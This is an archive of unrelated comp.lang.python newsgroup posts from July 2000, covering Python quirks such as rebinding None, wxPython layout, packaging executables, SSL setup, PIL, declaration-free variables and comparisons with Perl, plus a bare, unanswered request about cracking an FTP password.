In-Reply-To: <Ja8g5.18900$ga2.508345@newsread2.prod.itd.earthlink.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCGEJDGMAA.tim_one@email.msn.com>

[Steve Lamb]
> ...
> I just don't understand how people can advocate for types and the
> restrictions they impose while, on the other hand, embracing a
> language that is free enough to shoot yourself in the foot by
> reassigning None.

Frankly, I have trouble understanding that too.  Yet here we are, year after
year!

[Chris Lawrence ]
> Hmm, works in JPython too.  And Python 2.0b1.  Maybe it's a feature ;-)
>
> Frankly, I don't know how you'd get None back.

If you really must,

    import __builtin__
    None = __builtin__.None

Same as for any other builtin you go out of your way to destroy.  In the
case of None, though, simpler tricks will suffice, like

    None = [].sort()

> And it will play havoc with things:
>
> None = 1
> if None:
>   print 'Hello'
>
> I suspect Guido will tell you, "don't do that." ;-)

Nope!  In the very early days, Guido would *sometimes* warn people that, for
example, lawn mowers have very sharp blades, so you shouldn't pick one up by
the base and try to trim hedges with one.  He stopped doing that a long time
ago.  Now it's my job:  don't do that.

if-i-were-larry-you'd-think-that-was-cute<wink>-ly y'rs  - tim





From jcm at bigskytel.com  Thu Jul  6 15:21:51 2000
From: jcm at bigskytel.com (David Porter)
Date: Thu, 6 Jul 2000 13:21:51 -0600
Subject: How do I ring the bell?
In-Reply-To: <8k2lcd$59v$1@gossamer.itmel.bhp.com.au>; from wilson.austin.aj@bhp.com.au on Fri, Jul 07, 2000 at 05:08:55AM +1000
References: <8k2lcd$59v$1@gossamer.itmel.bhp.com.au>
Message-ID: <20000706132151.A19982@novara.avenue>

* A J Wilson <wilson.austin.aj at bhp.com.au>:

> I would like to ring the PC's bell (ie internal speaker) to alert the
> operator that an operation has finished running.  How do I do this in my
> python program?

print "\a"





From shapr at uab.edu  Wed Jul 19 19:04:17 2000
From: shapr at uab.edu (Shae Erisson)
Date: Wed, 19 Jul 2000 23:04:17 GMT
Subject: zip or marry etc
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk> <m3og3uprzw.fsf@atrus.jesus.cam.ac.uk> <tOid5.135713$HK2.2425898@news20.bellglobal.com> <8l4g5i$8$1@slb7.atl.mindspring.net> <slrn8nc2oi.1r91.gjm11@g.local>
Message-ID: <3976371F.210C2C21@uab.edu>

Gareth McCaughan wrote:
> 
> Aahz Maruch wrote:
> 
> [Olivier Dagenais:]
> >> "twist", "merge", "smash", "glue", "dna", "ladder", "join", "match",
> >> "collect", "pick", "lineup"???
> >
> > I like "merge".

The ladder/rungs concept was most intuitive for me.

> Nooooo. "Merge" is what you do to [1,3,5] and [2,4,6] to get
> [1,2,3,4,5,6]. (What it means when you give it [3,1,2] and ["a",[],1+2j]
> is slightly less clear, perhaps...)

I already have a function that does this in my handy shaetools module,
for me it will always be interleave.

Random request: could anyone who doesn't mind sharing their Python
toolbox either post it to the newsgroup or email it to me?
-- 
Shae Matijs Erisson - http://www.webwitches.com/~shae/
VirtualPairProgramming Wanted - Linux/Emacs/Python/Speak Freely
.fi: rakastan ohjelmointia - python kengitt?? aasia


From robin at alldunn.com.bbs  Mon Jul 17 22:20:03 2000
From: robin at alldunn.com.bbs (robin at alldunn.com.bbs)
Date: 18 Jul 2000 02:20:03 GMT
Subject: wxNotebook in a wxWindow doesn't stretch
Message-ID: <3bRXV3$lTx@openbazaar.net>

> I've only recently started to learn wxPython, but I think I might have hit
a
> similar problem:
>
> I had trouble getting constraints to make a number of controls sit side by
> side, having widths that were proportional to the width of the entire
frame.
>

Sizers work nicely for this, but it's doable with constraints too.

> Now, the only way to get it going was to embed the controls in ANOTHER
> container, which is placed on the wxFrame that is your main application.
> So, instead of creating a wxApp that contained a wxFrame that contained
the
> controls, I had to create a wxApp, that contained a wxFrame, that
contained
> a wxPanel (or maybe another wxFrame), which contained the controls.
>

Actually, it's recommended to place controls on a wxPanel since that is what
handles the tab-key traversal between controls.

>
> I've seen the author of wxPython (Robin Dunn?) post in this newsgroup, so
> maybe he'd be able to shed some light on this. (???)
>

I answered the original posters question in the wxPython-users list.  It was
because he put the items controled by the sizer on a wxWindow, which doesn't
automatically handle the auto-layout flag.  Substituting wxPanel there took
care of the problem.


--
Robin Dunn
Software Craftsman
robin at AllDunn.com
http://wxpython.org     Java give you jitters?
http://wxpros.com        Relax with wxPython!


From webmaster at in852.com  Thu Jul  6 12:46:02 2000
From: webmaster at in852.com (webmaster)
Date: Fri, 07 Jul 2000 00:46:02 +0800
Subject: in852.com - 4
Message-ID: <3964B7C9.FD1D92B@in852.com>

[ ???? ]

?T???????? http://www.in852.com
?????T???? http://www.ec852.com

in852?S?I?G
(1) ???????P???~?e???|?? (Printers?BScanner?B?q???C??????)?C

(2) ???W???I?j????
?]?A???????????~?B???s?q?????~?B?y?????~?????C

(3) ?????? Free Mail
?u?n?|???? POP ?? SMTP ???? mail.in852.com?A?K?i?????q Mail Box

(4) ???I???e
?T???????y???T?B???g?@???B?C?????a?B???????T?B?q??????
?n???U?????@?????????????????T?s?????C




From theebh at yahoo.com  Wed Jul 26 00:49:25 2000
From: theebh at yahoo.com (Jonathan)
Date: Wed, 26 Jul 2000 04:49:25 GMT
Subject: Python is wierd!
References: <LNBBLJKPBEHFEDALKOLCOEMPGLAA.tim_one@email.msn.com> <8lk1c5$fv4$1@nnrp1.deja.com> <Pine.A32.3.90.1000725123438.17707C-100000@elvis.med.Virginia.EDU>
Message-ID: <8llqkl$rof$1@nnrp1.deja.com>

In article <Pine.A32.3.90.1000725123438.17707C-
100000 at elvis.med.Virginia.EDU>,
  "Steven D. Majewski" <sdm7g at Virginia.EDU> wrote:
>
> On Tue, 25 Jul 2000, Jonathan wrote:
>
> > Yep, point taken. I think the book did a good job by listing out all
> > the potential gotchas that might trap a newbie. What i was thinking
is
> > the nature of the 'gotchas' that arise in python. My knowledge in
> > programming is quite shallow(i must admit), and my progress was
> > from 'pascal'->'c'->'c++/java'->'perl'->'php'. Along the way, of
course
> > there are a few 'gotchas' in each language, but most of them did not
> > throw much surprises(except perl - the 'blessing' part for e.g.)
>
> Jonathan:
>     Tim and others have answered some of your specifics, but
> I'm still worried about you! I'm afraid that these 'feelings' about
> Python being 'weird' are just a sign of your overly sheltered
> upbringing (in programming languages, that is. c/c++/java just
> barely count as separate languages and Perl seems to have been your
> only walk on the wild side!)

Yep, PERL (and PHP) has been my only walk on the 'wild side' so far:) I
like PERL at first, the loose type-checking, simpler syntax and
powerful regexp functions really introduce me to the 'beautiful' world
of scripting languages. However, its vast array of features and
the 'There's More Than One Way To Do It' attitude seems counter-
productive at times (hastily and badly-written code, for e.g.).

Moreover, i'm a believer in OOP programming, and that's what gets me
interested in Python. I like the idea of using spaces as block
delimiters, as i understand its intention of 'forcing' readable codes
and good programming habits. IT's just that i never expected its OOP
constructs can be so 'loose', for e.g. you can even declare a instance
variable out of the <class> scope(am i right?), or you put static
methods OUTSIDE of the class. From the postings so far, i began to
understand the reasons for them; but the nagging feeling is that ppl
may just 'mix' them too much and create unreadable codes.

>     If you think Python is weird, then you haven't seen very much!
>
> I suggest you:
>
> [1] Get a copy of Jean Samet's old book on programming languages plus
>     volumes I and II of HOPL - History of Programming Languages out
>     of the library and read. ( And if you don't have time to read,
>     then at least look at the "geneology" chart. )
>
> [2] Below is a partial list of languages outside of the C/Pascal/Algol
>   tradition that have significantly contributed to ideas about
>   programming and programming languages. If you can afford to spend
>   a couple of weeks each learning a few from that list, it will
>   expand your horizons amazingly!
>
>   Lisp|Scheme, FORTH, Smalltalk, Snobol, Icon, APL|J,
>   Prolog, Haskell, ML, Intercal, ...
>
> [3] Read Peter Landin on "The Next 700 Programming Languages"
>
Err...i don't think i have the time now:) In fact, i'm trying to learn
python and Zope at the same time (as fast as possible), as I have an
upcoming web development project, where i need to assess the
feasibility of using Zope as a development tool.

regards,
jonathan


Sent via Deja.com http://www.deja.com/
Before you buy.


From ryzam at my-deja.com  Sat Jul 22 20:27:50 2000
From: ryzam at my-deja.com (ryzam at my-deja.com)
Date: Sun, 23 Jul 2000 00:27:50 GMT
Subject: how to build ssl on window
References: <8lb9ap$j0n$1@nnrp1.deja.com> <8lc6jk$1f1$1@coco.singnet.com.sg>
Message-ID: <8lde5s$vba$1@nnrp1.deja.com>

In article <8lc6jk$1f1$1 at coco.singnet.com.sg>,
  ngps at post1.com (Ng Pheng Siong) wrote:
> According to  <ryzam at my-deja.com>:
> > im trying to using urllib and httplib that can access "https" url
but i
> > got an error. Is it i must recompile again python 1.6a2 with ssl
> > module??
>
> Try the binary distribution of M2Crypto 0.05-snapshot#3 here:
>
>     http://www.post1.com/home/ngps/m2
>
> Https should "just work".
>
> --
> Ng Pheng Siong <ngps at post1.com> * http://www.post1.com/home/ngps
>
>

i have download M at Crypt0 0.05-snapshot#3 and unzip it.How to use it?
because when i 'm try to run "python urllib2.py" i got an error

File "urllib2.py line 12 in?
 import SSL
File SSL__init__.py line 6 in ?
 from Chipher import Cipher, Cipher_Stack
File SSL\Cipher.py line 5 in ?
 from M2Crypto import M2Crypto
Import Error: cannot import name M2Crypto


Sent via Deja.com http://www.deja.com/
Before you buy.


From lkcho at my-deja.com  Mon Jul 31 14:04:05 2000
From: lkcho at my-deja.com (lkcho at my-deja.com)
Date: Mon, 31 Jul 2000 18:04:05 GMT
Subject: CGI downloading
References: <8m1lc5$89p$1@nnrp1.deja.com> <10673694897.20000730185855@buz.ch>
Message-ID: <8m4f2g$7q3$1@nnrp1.deja.com>

Thank you for reply.  Another question is how to hack a ftp password, I
don't have the user id also.

LKCho


In article <10673694897.20000730185855 at buz.ch>,
  Gabriel Ambuehl <gabriel_ambuehl at buz.ch> wrote:
> Hello lkcho,
>
> Sunday, July 30, 2000, 6:33:09 PM, you wrote:
>
> > Is there any possible way to download the whole cgi script, instead
of
> > letting it response with html pages?
>
> If the webserver's configured properly, this should not be possible
> without FTP or shell access to it.
>
> Best regards,
>  Gabriel
>
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From gmcm at hypernet.com  Sat Jul 15 16:07:40 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: Sat, 15 Jul 2000 16:07:40 -0400
Subject: Does Python code >.require<< a run-time environment?? (New to   Python)
In-Reply-To: <3970B9EB.8FF00EF9@prescod.net>
Message-ID: <1248430818-53226503@hypernet.com>

Paul Prescod wrote:

> Gordon McMillan wrote:
> > 
> > ...
> > > For Python, you want to look
> > >at
> > >
> > >http://starship.python.net/crew/gmcm/distribute.html
> > >
> > >For Java, at "jexegen.exe".
> > 
> > Sorry, Paul, the latter does not bundle in the interpreter. It
> > just packages up byte code and uses a small exe to start your
> > MS JVM.
> 
> True, I forgot that because the MS JVM tends to be installed. I
> think I may have exaggerated the features of the former too. Is
> there any easy way to make a single executable for Python, the
> standard library, required .pyd's and your code? My vague
> impression is that you could if you had a compiler and the source
> for your pyd's, or else you could fall back on an installer
> (rather than a single big runnable app).

It doesn't create a single statically linked exe. That's kind of 
hard without a compiler. It does track down all your 
dependencies (at least those not masked by import hooks) 
including (on Windows) dlls that your pyds might depend on. 
You end up with an exe and some pyds / dlls in one directory. 

You can then choose how to distribute. You can use a 
installer, (or WinZip), or let Installer create one for you, or even 
send out a one file exe that unzips itself each time it's run.

The major point being that there's no requirement for Python 
on the user's machine, and there's no interference if they have 
a different version of Python installed.

- Gordon



From johnston.p at worldnet.att.net  Fri Jul 14 17:55:27 2000
From: johnston.p at worldnet.att.net (Paul Johnston)
Date: Fri, 14 Jul 2000 21:55:27 GMT
Subject: html link parser?
Message-ID: <j%Lb5.5560$tI4.377238@bgtnsc05-news.ops.worldnet.att.net>

I'm looking to parse the links out of an html document.  Is there a module
analogous to Html::LinkExtor (perl)?

Thanks for your help,
Paul




From cjensen at bioeng.ucsd.edu  Tue Jul 11 22:03:33 2000
From: cjensen at bioeng.ucsd.edu (Curtis Jensen)
Date: Tue, 11 Jul 2000 19:03:33 -0700
Subject: importing shared library on SGI
References: <8kgces$c1j$1@ncar.ucar.edu>
Message-ID: <396BD1F5.492C5D68@bioeng.ucsd.edu>

Fred Clare wrote:
> 
> I am running python on an SGI IRIX 6.5 system.  I
> have created a shared library (adder.so) that implements
> a C extension and when I do an import in Python I get the error:
> 
>    ImportError: 3907647:python: rld: Fatal Error: Cannot
>    Successfully map soname './adder.so' under any of the
>    filenames ./adder.so
> 
> When I do exactly the same thing on a Sun, it works fine.
> 
> Any ideas?
> 
> --
> Fred Clare
> fred at ucar.edu



I have had similar problems on the same system.  I found that you have
to make sure that the .so compiled with the same bite code as python. 
You can use the "file" unix command to find out what the bite code is
for a binary.



-- 
Curtis Jensen
cjensen at bioeng.ucsd.edu
http://www-bioeng.ucsd.edu/~cjensen/
FAX (425) 740-1451


From paul-wright at verence.demon.co.uk  Wed Jul 26 18:38:41 2000
From: paul-wright at verence.demon.co.uk (Paul Wright)
Date: 26 Jul 2000 23:38:41 +0100
Subject: Python questions from C/Perl/Java programmer
References: <397C6F49.7BEBB207@alabanza.net> <slrn8np8pr.tc.scarblac-spamtrap@flits104-37.flits.rug.nl> <397CC80C.43F5D8@alabanza.net>
Message-ID: <8lnp9h$kl9$1@verence.demon.co.uk>

In article <397CC80C.43F5D8 at alabanza.net>, ye, wei <yw at alabanza.net> wrote:
>Remco Gerlich wrote:
>
>> ye, wei wrote in comp.lang.python:
>>
>> > 2. Why variable doesn't have to be declared before use?
>>
>> Because it's not necessary!
>
>I can bear the {} issue, however I couldn't bear with variable without
>declaration.  I wrote many applications, I couldn't live without
>declaration. For big project, there are so many scripts, everyone may
>be misspell variable name.  It's very timeconsume and hard to find out
>such problem, which should be easy checked out by compiler.

This may be silly question, but you do realise that Python's behaviour
is not equivalent to Perl's here, don't you? (Perl without "use strict",
that is). In Perl, if you refer to an unitialised variable it takes on
the value zero. In Python, to do that is an error.

Of course, that won't catch things like this:

mispelling = 1
misplling = mispelling + 1

but it's a convenient middle ground between Perl's "strict" behaviour
and Perl's default behaviour.

-- 
----- Paul Wright ------| "No problem is too big it can't be run away from"
-paul.wright at pobox.com--| 	-- Linus
http://pobox.com/~pw201 | 


From srs25 at cornell.edu  Tue Jul 25 10:46:05 2000
From: srs25 at cornell.edu (Samuel Scarano)
Date: Tue, 25 Jul 2000 10:46:05 -0400
Subject: how to build arbitrarily-sized lists in one fell swoop?
References: <397DA1E0.B65DC47@cornell.edu>
Message-ID: <397DA82D.B86E32A@cornell.edu>

OK, thanks for the responses everyone!

-- 
Samuel R. Scarano                        "Due to circumstances beyond my
Cornell University undergraduate         control, I am master of my fate
<srs25 at cornell.edu>                      and captain of my soul."
http://people.cornell.edu/pages/srs25/             -- Ashleigh Brilliant


From jerome.quelin at insalien.org  Sun Jul  9 17:04:24 2000
From: jerome.quelin at insalien.org (Jerome Quelin)
Date: Sun, 9 Jul 2000 23:04:24 +0200
Subject: Static member variables
References: <8kahdq$5e2$1@zingo.tninet.se>
Message-ID: <963176664.23519426@news.libertysurf.fr>

"Thomas Svensson" <thomas_s at ebox.tninet.se> wrote:
>Is there a way of declaring static (and constant) member variables in
>classes? I have a member variable that should be unique for each class
>type and thus should not waste memory for each instance of the class I
>create. Something like the __doc__ string I guess.

And is it possible to have a static method (ie, a class method in C++ jargon) ?

>>> class t:
..  def t():
..   print "t.t"
>>> t.t()
Traceback (innermost last):
  File "<stdin>", line 1, in ?
TypeError: unbound method must be called with class instance 1st argument

But the t() method does not wait for any arguments...

Regards,
Jerome
--
jerome.quelin at insalien.org


From jasonives at hotmail.com  Thu Jul 27 20:06:28 2000
From: jasonives at hotmail.com (Jason Ives)
Date: Thu, 27 Jul 2000 17:06:28 -0700
Subject: best apache+python module?
Message-ID: <so1jnosf3j1154@corp.supernews.com>

Hi,

I've been looking for an apache module that will run python .cgi's without
having to instantiate a new interpreter for each request. So far I've found
PyApache, mod_snake and modpython. They all seem rather sparsely supported..
does anyone recommend using any of these modules in a production
environment?

~jason ives




From tjg at exceptionalminds.com  Sun Jul 30 21:27:52 2000
From: tjg at exceptionalminds.com (Timothy Grant)
Date: Sun, 30 Jul 2000 18:27:52 -0700
Subject: ExpectPy
Message-ID: <20000730182752.A1057@reepicheep.avalongroup.net>

Hi again,

Since I am having problems with telnetlib, I thought I would try some of the
python Expect-like tools.

On trying to configure ExpectPy v1.8, I get the following error on
configure:

checking for PyObject_GetAttr in -lpython1.5... no
checking for PyObject_GetAttr in -lpython1.5... (cached) no
configure: error: Cannot compile with the Python library

I'm not sure why this is happening as I have compiled several python modules
with no problems. Doe anyone have any suggestions?

Thanks.

-- 
Stand Fast,
    tjg.

Timothy Grant                         tjg at exceptionalminds.com
Chief Technology Officer              www.exceptionalminds.com
Red Hat Certified Engineer                      (503) 246-3630
Avalon Technology Group, Inc.               fax (503) 246-3124
>>>>>>>>>>>>Linux...Because crashing isn't normal<<<<<<<<<<<<<




From darrell at dorb.com  Thu Jul  6 22:58:33 2000
From: darrell at dorb.com (Darrell Gallion)
Date: Thu, 6 Jul 2000 19:58:33 -0700
Subject: splitting an avi image into a sequence of images with python?
References: <87em567urz.fsf@lumen.med.iupui.edu>
Message-ID: <045101bfe7bf$3d639750$6401a8c0@home>

Here's a quick solution, with only a little testing.

--Darrell

----- Original Message ----- 
From: "Michael A. Miller" <mmiller3 at iupui.edu>
Newsgroups: comp.lang.python
To: <python-list at python.org>
Sent: Thursday, July 06, 2000 3:34 PM
Subject: splitting an avi image into a sequence of images with python?


> I'd like to split some avi files into image sequences.  Is there
> already a module out there that will help me do that?
> 
> Mike
> 
> -- 
> Michael A. Miller                      mmiller3 at iupui.edu
>   Krannert Institute of Cardiology, IU School of Medicine
>   Indiana Center for Vascular Biology and Medicine
> -- 
> http://www.python.org/mailman/listinfo/python-list
-------------- next part --------------
An embedded and charset-unspecified text was scrubbed...
Name: fileSplit.py
URL: <http://mail.python.org/pipermail/python-list/attachments/20000706/4bd60b1b/attachment.ksh>

From glandrum at my-deja.com  Wed Jul 12 00:35:59 2000
From: glandrum at my-deja.com (Greg Landrum)
Date: Wed, 12 Jul 2000 04:35:59 GMT
Subject: PIL & PIDDLE
References: <8kbrqu$qsa$1@talia.mad.ttd.net>
Message-ID: <8kgsje$q8n$1@nnrp1.deja.com>


Back in March I posted the way I figured out to do this, you can find
it at URL:
http://www.faqts.com/knowledge-base/view.phtml/aid/1696/fid/238/lang/en

Once you have PIL working by itself, everything else with piddle should
go smoothly.

I hope this helps,
-greg



Sent via Deja.com http://www.deja.com/
Before you buy.


From aa8vb at yahoo.com  Tue Jul  4 14:23:16 2000
From: aa8vb at yahoo.com (Randall Hopper)
Date: Tue, 04 Jul 2000 14:23:16 -0400
Subject: PIL: Can it work with large images?
Message-ID: <20000704142316.A909732@vislab.epa.gov>

Does PIL support cropping while loading large images?  

I'd like to pull in small portions of large GeoTIFF images for processing
GeoTIFFs can be 100MB - multi-GBs in size.  I have one here that's 340MB.

Thanks,

Randall



> tiff_info.py
filename : map.tif
info     : {'compression': 'raw'}
mode     : P
size     : (24758, 13716)           <-------------------------------------<<<
num tiles: 13716
  tile #1: ('raw', (0, 0, 24758, 1), 56757, ('L', 0, 1))
  tile #2: ('raw', (0, 1, 24758, 2), 81515, ('L', 0, 1))
  ...

-- 
Randall Hopper
aa8vb at yahoo.com



From thomas at xs4all.nl  Mon Jul  3 04:00:11 2000
From: thomas at xs4all.nl (Thomas Wouters)
Date: 3 Jul 2000 08:00:11 GMT
Subject: how to push data in to ssh in python?
References: <395FF2D9.1B46251D@esec.com.au>
Message-ID: <slrn8m0hvm.m2b.thomas@centurion.xs4all.nl>

On Mon, 03 Jul 2000 11:56:41 +1000, Sam Wun <swun at esec.com.au> wrote:

>Thanks

Your question is incomplete. What do you want to do ? Did you look at
popen(), and is it not what you want ? Does ssh require the input to come
from a pseudo-terminal ? Can't you use a normal shell pipeline and make your
python script just 'print' what you want to output ? Are you encountering
difficulties with any of these ideas, or not finding the right documentation?

Oh, and it's not necessary to post both in HTML and in plaintext.. Just
plaintext will do just fine ;)

How-do-I-get-a-zilion-dollars-ly y'rs,
	Thomas.


From brunnsNObrSPAM at beer.com.invalid  Wed Jul  5 09:01:13 2000
From: brunnsNObrSPAM at beer.com.invalid (Simon B)
Date: Wed, 05 Jul 2000 06:01:13 -0700
Subject: Is there a searchable archive of c.l.py
References: <Gj185.6536$Tb7.39716@news-server.bigpond.net.au>
Message-ID: <111b2f38.c4458b92@usw-ex0106-045.remarq.com>

I don't know just how far back RemarQ goes, but it's probably
worth a look.

Cheers,
Simon B.
With Microsoft, failure is not an option. It comes bundled.


-----------------------------------------------------------

Got questions?  Get answers over the phone at Keen.com.
Up to 100 minutes free!
http://www.keen.com



From frank.kruchio at paradise.net.nz  Fri Jul 28 18:55:14 2000
From: frank.kruchio at paradise.net.nz (Frank Kruchio)
Date: Sat, 29 Jul 2000 10:55:14 +1200
Subject: How does Python compare to ?
Message-ID: <39820F52.4B6787FE@paradise.net.nz>

Hello !

I am a student and visited python.org and read a bunch of articles on Python.

Specifically I couldn't find any info on how does Python compared(if you can) to PHP.
They are both open source, right ?

I read the comparison to the others like Tcl/Tk, Perl, Java, Lisp etc...

I looked at the syntax of both languages and I need someones opinion who knows both and can give me
an _unbiased_ view on this.

What about Python versus Java Servlets for CGI applications ?

--
Home Page: http://homepages.paradise.net.nz/frankkru

Frank Kruchio
Wellington, New Zealand





From richard at vandestadt.org  Sat Jul 22 18:53:44 2000
From: richard at vandestadt.org (Richard van de Stadt -at home-)
Date: Sun, 23 Jul 2000 00:53:44 +0200
Subject: Getting method from within method?
References: <qnkitu3gd4m.fsf@arbutus.physics.mcmaster.ca> <8l34ts$49f$1@slb6.atl.mindspring.net>
Message-ID: <397A25F8.57DC85BB@vandestadt.org>

Aahz Maruch wrote:
[...]
> 
> While there are ways of getting to what you claim you want, IMO the most
> appropriate answer is to remind you of the old joke:
> 
> "Doctor, it hurts when I whack my knee with a hammer."
> "Well, don't do that!"

That joke is as bad as this one:

"Doctor, I've been bit by a python."
"Well, that's what they do."

Richard.


From hei at adtranzsig.de  Tue Jul 25 05:11:58 2000
From: hei at adtranzsig.de (Dirk-Ulrich Heise)
Date: Tue, 25 Jul 2000 11:11:58 +0200
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <963990339.783645@marvin> <8l4h60$jnk$2@gxsn.com> <8l4isr$l58$2@newshost.accu.uu.nl> <8l57fc$vi8$1@fermi.tro.net> <8l6pgt$fmc$1@newshost.accu.uu.nl> <8l6qt4$89p$1@fermi.tro.net> <8l74db$hs6$1@newshost.accu.uu.nl> <8l7f69$bon$1@fermi.tro.net> <kBJd5.35887$6y5.24003017@news2.rdc2.tx.home.com>
Message-ID: <8ljlp9$99m$1@desig-bs01-s04.adtranzsig.de>

"Rainer Deyke" <root at rainerdeyke.com> schrieb im Newsbeitrag
news:kBJd5.35887$6y5.24003017 at news2.rdc2.tx.home.com...
> Sounds messy and slow.  An indirect function call per instruction?  Could
be
> slower than Python, especially since you'd need lots of instructions to do
> anything useful when programming assembly style.

Actually, he's about to reinvent Forth; he described the way a
Forth interpreter dispatches things. It's not slow. See FICL:
(a forth interpreter written in C):

http://www.taygeta.com/ficl.html

As FICL is "stackless" (not abusing the C stack for it's FORTH
stack), it might be useful for a game scripting engine with fast
context switches (if that's needed)
--
Dipl.Inform. Dirk-Ulrich Heise
hei at adtranzsig.de
dheise at debitel.net






From alex at magenta.com  Sat Jul 29 20:22:31 2000
From: alex at magenta.com (Alex Martelli)
Date: Sun, 30 Jul 2000 02:22:31 +0200
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com> <8ltgpt$31a$1@newshost.accu.uu.nl> <slrn8o6mr7.f91.grey@teleute.rpglink.com>
Message-ID: <8lvslc0mn8@news2.newsguy.com>

"Steve Lamb" <grey at despair.rpglink.com> wrote in message
news:slrn8o6mr7.f91.grey at teleute.rpglink.com...
    [snip]
>     Because Python can toss two types out.  String or None, only one of
which
> can be converted.

Python can 'toss out' other types too, because you can use any type
as the argument to groups(), which is used as the value 'tossed out'
for groups for which there is no match.  None is just the default.

And of course None can also be converted, it's just not converted
by a plain int(x).  But it just takes an int(x or 7) to fix that,
for example (if one wants None to be converted to 7...:-).


> >software not working in case of such input!
>
>     Assumption it is dealing with money.  What about logs processing?

Losing accumulated logs, and/or logging false data, would be utter
disasters.  Learning *ASAP* that the log-processing program has a
bug is clearly the priority; if subtly-false data were being logged
instead, that could go on for weeks before being noticed -- and
the subtly-mendacious logs could be worse than useless until this
IS noticed (and just-useless afterwards:-), since from the false
information in the logs wrong business decisions could be taken.


> >>>> bar
> ><function foo at 80c8f68>
>
>     Right, I understand thta.  Which is why I keep pointing out that it is
> meaningless in the context of a script.  You tell me why I would need to
know
> that in a script and maybe we can get around this.  I just see no need,
ever,
> for something that cannot be accessed by the script in the first place.

The problem is, how to ensure that an expression IS utterly devoid of
side effects, without substantial cost.  In the general case I am not
sure it can be done.  For the specific case of an expression consisting
just of the mention of a variable (not a class instance's field), it
could be done; would it be worth having a special-case, an exception
that is only raised for that very specific case?

Some expressions that have no side effects are very handy, by the way.
For example, prepending and appending a """ to a block of lines (thus
turning them all into an expression that is a single constant string)
may be a useful way to "comment out" the whole block.  To avoid any
interference with such useful idioms, very clear and detailed rules
should be drawn up about WHICH no-side-effects expressions will raise
an exception.  Can they be made simple enough that their practical
usefulness is substantial?  If so, it could be an improvement.


> >have the computer give up on things if I'm trying to do things that
> >don't seem to make any sense immediately. That way I need to remember
> >less.
>
>     To me it is remembering more.  "Now, this variable coming in from that
> file over there, going through this code over here in a different module,
> entering in here... was it converted twice or three times and what do I
need
> to do with it now."
>
>     Vs.
>
>     "Here it is, those checks said it is this, do it."

Why would you need to keep track of all things in the former
paragraph?  Just be explicit about what is to be done for each
of the cases it can be, and you're all set.

If it can only be a sequence of 1 or more digits, great, all
you need to do is int(x).  If it can also be an empty sequence,
or None, then you need to do int(x or 0), for example.  And
so on.  Just be explicit about what you want done!


> >Unless you made it possible that b contained something that couldn't be
> >turned into a number, such as None. If you made that possible you aren't
> >sure beyond all doubt that the variable contains a number, right?
>
>     Which is, of course, a product of the lanauge.  I know it is going to
be a
> digit or empty.  Sad part is Python makes empty None and None mutable into
> pretty much nothing.

The None is immutable, just as strings are immutable (and numbers,
and tuples), but *why is that sad*?!  You don't need to mutate the
value, in any of these cases -- you just need to use it to compute
another, related value.  And of course you can do it with None just
as you can do it with a string, etc, etc.

Furthermore, I keep pointing out that, if you call the groups method
of the match object, what Python returns for non-matching groups IS
UP TO YOU: it will return the argument you pass to groups, None if
you choose to pass no argument.  So, *what* is supposed to be 'sad'?!


> >Sure, but it is the same in Python, right? Except that in the end you
have
> >to cast your integers to ints or whatever other thing you were expecting
> >from your input.
>
>     So why, then, when I have done the check should I have to do it,
again,
> for the sake of the language.

You have done no check about whether each given group matched
something, or not.  There is no "again" about it: you've NEVER
done any such check, so it can't possibly be a question of doing
it "again", can it?!

Further, the 'check' in this case can be as simple as an 'or',
in the expression int(x or 0); and you can even omit it totally
if you choose to ensure uniform-cases by passing a value, whose
choice is totally up to you, to the groups method.

What more do you need to convince you that your criticisms of
the options that Python gives you to handle this specific issue
are utterly unfounded...?


Alex





From wlfraed at ix.netcom.com  Thu Jul 20 23:43:27 2000
From: wlfraed at ix.netcom.com (Dennis Lee Bieber)
Date: Thu, 20 Jul 2000 20:43:27 -0700
Subject: Operators for everything (was Re: Operators for matrix)
References: <Pine.LNX.4.10.10007180134360.9411-100000@rock.localdomain> <ZW4d5.3559$FA2.391374@nnrp3.clara.net> <oa5dns8idp0ktl6kvlr37ps1ovrip48a0h@4ax.com> <3977AF5E.552F4F42@my.signature>
Message-ID: <8lhfnss3qd4sretu14vm7hiqb41gm28n46@4ax.com>

On Fri, 21 Jul 2000 14:03:10 +1200, Greg Ewing <see at my.signature>
declaimed the following in comp.lang.python:

> 
> Personally, I think that language that's serious about 
> user-defined operators and mathematical domains should 
> allow the use of every operator character in the Symbol
> font. If those characters are useful enough to be included 
> in a standard font, I think they deserve to be available in 
> a programming language, too!
>
	Isn't it called APL? <G>

--
 > ============================================================== <
 >   wlfraed at ix.netcom.com  | Wulfraed  Dennis Lee Bieber  KD6MOG <
 >      wulfraed at dm.net     |       Bestiaria Support Staff       <
 > ============================================================== <
 >        Bestiaria Home Page: http://www.beastie.dm.net/         <
 >            Home Page: http://www.dm.net/~wulfraed/             <


From robin at jessikat.fsnet.co.uk  Thu Jul 20 03:43:04 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Thu, 20 Jul 2000 08:43:04 +0100
Subject: zip() : how about braid()
References: <Pine.BSF.4.10.10007191838040.26945-100000@chi.pair.com>
 <397681C6.FEAEE2E@my.signature>
Message-ID: <aXE92HBI2qd5EwWn@jessikat.fsnet.co.uk>

In article <397681C6.FEAEE2E at my.signature>, Greg Ewing
<see at my.signature> writes
>Michal Wallace wrote:
>> 
>> braid(), as in hair..
>
>Um, not quite, that suggests two or more strands being
>twisted around each other somehow, such as
>
>   braid([1, 2, 3], ['a', 'b', 'c']) = [(1,'a'), ('b',2), (3,'c')]
>
>:-)
>
well surely we're not just going to require only two arguments if we use
a function or are we. I use

>>> map (None, [1, 2, 3], ['a', 'b', 'c'], [11,12,13])
[(1, 'a'), (2, 'b'), (3, 'c')]
